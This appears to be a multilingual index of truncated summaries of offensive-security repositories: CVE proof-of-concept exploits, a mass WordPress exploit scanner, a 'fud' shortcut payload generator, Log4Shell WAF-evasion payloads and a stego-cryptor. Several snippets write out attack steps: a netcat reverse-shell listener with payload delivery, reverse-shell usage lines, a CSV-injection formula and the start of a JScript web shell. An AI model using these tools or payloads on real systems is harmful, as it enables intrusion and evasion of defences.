CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoCスクリプト名: poc.py CVE-2025-1302用の概念実証エクスプロイトスクリプトで、jsonpath-plusライブラリのRCE脆弱性を標的としています。脆弱なサービスエンドポイントに対して実行されると、スクリプトはJSONPathペイロードを介してリモートコード実行をトリガーし、攻撃者へのリバースシェルを確立しようとします。 機能 柔軟なHTTPメソッド : --methodまたは--no-fallbackフラグを使用して、POST 、GET 、またはAUTO...

GG-AESY

블로그 게시글: https://redteamer.tips/introducing-gg-aesy-a-stegocryptor/ 경고: 컴파일하기 전에 NuGet 패키지를 복원하고 비주얼 스튜디오를 다시 시작해야 할 수도 있습니다. 이 문제를 해결하는 방법을 아는 사람은 DM 주세요. 매뉴얼 시작하기에 앞서, 관리되지 않는 로더에서 사용하지 않는 경우 항상 GG-AESY를 상세 모드 또는 매우 상세 모드로 사용하는 것을 적극 권장합니다. 또한 항상 출력 파일outfile을 지정하는 것을 권장합니다. 하지만 매우 상세 모드에는 주의하세...

CVE-2021-34527

CVE-2021-34527 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 2021년 6월 1일 2021년 6월 2일 업데이트 : Microsoft는 CVE-2021-34527에 대한 보안 권고를 발표했으며, 해당 식별자를 정확히 PrintNightmare 취약점 악용으로 명명했습니다. 이전에는 커뮤니티에서 6월 8일 패치가 이 문제를 해결하지 못함에 따라 CVE-2021-1675가 "PrintNightmare"로 추정하고 있었습니다. 이 저장소는원본과 동일합니다...

ZIPFileRaider

ZIP File Raider - ZIP 파일 페이로드 테스트를 위한 Burp 확장 ZIP File Raider는 ZIP 파일 업로드 기능을 가진 웹 애플리케이션을 공격하기 위한 Burp Suite 확장입니다. 기본적으로는 불가능한 HTTP 요청의 ZIP 콘텐츠에 Burp Scanner/Repeater 페이로드를 쉽게 주입할 수 있습니다. 이 확장은 압축 해제 및 압축 단계를 자동화하는 데 도움을 줍니다. 이 소프트웨어는 Natsasit Jirathammanuwat이 King Mongkut's University of...

CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신의 2개 이미지를 포함한 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신합니다: nc -nlvp 4444 • 공격자 머신으로 reverse shell 연결을 생성하는 페이로드를 전송합니다: python3 exploit.py -i 172.18.0.3 -p...

CVE-2022-39197-RCE

CVE-2022-39197-RCE 첫째 이 프로젝트는 @its-arun의 프로젝트 https://github.com/its-arun/CVE-2022-39197 에서 수정되었습니다. 스크립트를 테스트했을 때, frida 스크립트가 정상적인 순서로 데이터를 조회할 수 없다는 것을 발견했습니다. frida 스크립트를 수정하여 프로세스 이름을 수정하는 방식입니다. 이용 방법에 대한 기여를 해주신 Master @Kai5174 님께 감사드립니다. 사용법 Payload 준비 1. EvilJar/src/main/java/Exploit.jav...

CVE-2025-53770

Microsoft SharePoint CVE-2025-53770 PoC 면책 조항: 이 코드/페이로드는 교육 목적으로만 제공됩니다. 작성자는 이 코드의 무단 또는 악의적인 사용을 용인하거나 지지하지 않습니다. 소유한 환경이나 명시적 테스트 허가를 받은 환경에서만 사용하십시오. 오용은 법률 위반 및 심각한 처벌로 이어질 수 있습니다...

CVE-2023-33410

CVE-2023-33410 Minical 1.0.0 は CSV インジェクションに対して脆弱です。 ベンダー: https://github.com/minical/minical デモアプリケーション: https://demo.minical.io/ PoC ステップ 1: Accounting モジュールに移動し、「Create New Customer」をクリックします。 ステップ 2: Name フィールドにペイロードを入力し、「Create」をクリックします。 Payload: =HYPERLINK"","ClickHere" ステップ 3: 「Download CSV...

CVE-2023-36664

CVE-2023-36664 : Ghostscript 원격 코드 실행 CVE-2023-36664에 대한 개념 증명 코드입니다. 사용법 .eps 파일에 페이로드를 삽입하려면: root@kitploit: python3 poc.py -f "파일이름" --payload "명령어" python3 poc.py -f file.eps --payload firefox .eps 파일에 리버스 셸 페이로드를 삽입하려면: root@kitploit: python3 poc.py -f "파일이름" --revshell --ip "IP" --port "포트"...

DigiDuck-Framework

DigiDuck Framework ATTiny85 프로세서와 micronucleus 부트로더를 사용하는 Digiduck 개발 보드를 위한 프레임워크! alt text DDF 시작 화면 스크린샷 로드맵: 프레임워크 내에서 Duckyspark 변환을 위한 명령어 구현 계획. 요구 사항: - ATTiny85 또는 기타 호환 "Digispark" 개발 보드 - DigiSpark 드라이버 Arduino에서 사용할 수 있다면 문제없습니다. - OSX 또는 MacOS - Digispark 라이브러리가 설치된 ArduinoIDE...

Shortcut-Payload-Generator

Shortcut-Payload-Generator PowerShell을 악용하여 단축 페이로드 생성 fud. 여기에는 멋진 트릭이 너무 많습니다. 더 좋게 만들 수 있습니다 ^^. 예: 다운로드 중 tcpview, 작업 관리자 등을 종료. 다운로드 후 악성코드에 숨김 속성 설정 등... G00d by3. ./9aylas EOF...

CVE-2025-32433-Eploit

CVE-2025-32433-Eploit Erlang/OTP SSH は事前認証RCEに対して脆弱 SSH Erlang RCE エクスプロイト 脆弱なサーバー上で任意のErlangコマンドを実行するためのSSHペイロードを作成します。 使用方法: root@kitploit: python3 exploit.py -t targets.txt -p 2222 -o results.log 免責事項: このツールは教育目的および許可されたセキュリティテスト専用です。明示的な許可がないシステムに対して使用しないでください。 連絡先 https://t.me/GOTOCVE...

CVE-2025-34085-Multi-target

CVE-2025-34085 다중 대상 RCE 스캐너 CVE-2025-34085 대량 익스플로잇 스캐너 — WordPress Simple File List 플러그인의 인증되지 않은 원격 코드 실행 취약점입니다. 이 도구는 PHP 페이로드를 이미지로 위장하여 업로드하고, 취약한 파일 엔진을 통해 이름을 변경한 후, 사용자 지정 명령으로 셸 실행을 트리거합니다. 대규모 대상 세트에 대한 멀티스레드 스캐닝을 지원합니다. 🔥 기능 다중 대상 스캐닝 targets.txt에서 악성 페이로드 자동 업로드 및 이름 변경 사용자 정의 가능한...

DLLHSC

DLLHSC DLL Hijack SCanner — инструмент для генерации зацепок и автоматизации поиска кандидатов для перехвата порядка поиска DLL DLL Search Order Hijacking. Содержание этой страницы Содержимое этого репозитория Режимы работы Инструкция по компиляции и запуску Меню помощи Примеры запуска Обратная...

Log4Shell-obfuscated-payloads-generator

Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator는 WAF 탐지를 우회하기 위해 1차 난독화 또는 2차 난독화된 CVE-2021-44228 또는 CVE-2021-45046 페이로드를 생성할 수 있습니다. Log4Shell-obfuscated-payloads-generator의 설계 아이디어 Installation root@kitploit: git clone...

CVE-2019-0604

一、k8gegeのcve-2019-0604-exp.pyを解説 k8gegeのスクリプト https://github.com/k8gege/CVE-2019-0604 正直言って、k8gegeのpyスクリプトは少し派手で、大量の16進数文字列があり、payload1,2,3に分かれています。悪質ですね。 pythonスクリプトがリモートPOSTするpayloadは、逆シリアル化後にXMLデータボディになります。 root@kitploit: cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var...

Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS Exploit은 Python 스크립트입니다. 이 스크립트는 먼저 제공된 워드리스트를 사용하여 무차별 대입 인증 시도를 수행합니다. 유효한 자격 증명이 발견되면 CVE-2024-23724 취약점을 확인하고, 취약한 경우 익스플로잇 페이로드를 생성합니다. 요구 사항: 1. Python 3.x 설치 2. 필수 라이브러리 설치: pip install requests 3. 같은 디렉토리에 boilerplate.svg 파일이 있어야 함 익스플로잇 페이로드 생성에 사용 4. 사용자 이름과...

cve-2020-2555

CVE-2020-2555 Main.java를 실행하면 현재 디렉토리에 payload.ser가 생성되며, 이 payload는 t3 프로토콜을 사용하여 대상 서버로 전송할 수 있습니다...

CVE-2026-39107

CVE-2026-39107: Kimi AI v1.0의 교차 사이트 스크립팅XSS 설명 Kimi AI v1.0 웹 인터페이스의 'Preview' 기능에 교차 사이트 스크립팅XSS 취약점이 존재합니다. 애플리케이션이 AI 모델이 생성한 HTML/JavaScript 페이로드를 제대로 무해화sanitize하거나 인코딩하지 않습니다. 사용자가 AI가 생성한 코드를 보기 위해 'Preview' 탭으로 전환하면 악성 페이로드가 DOM에 직접 렌더링되어 피해자의 브라우저 세션에서 임의의 JavaScript가 실행됩니다. 연구자 Mustafa...

react-vuln-scanner

React CVE-2025-55182 취약점 스캐너 서버에서 CVE-2025-55182 에 취약한 React 애플리케이션을 스캔하는 Bash 스크립트입니다. React Server Components의 치명적인 원격 코드 실행 취약점CVSS 10.0입니다. ⚠️ 취약점 정보 2025년 12월 3일, React 팀은 React Server Components에 영향을 미치는 치명적인 보안 취약점을 공개했습니다. 인증되지 않은 공격자가 React Server Function 엔드포인트로 전송된 페이로드를 디코딩하는 방식의 결함을...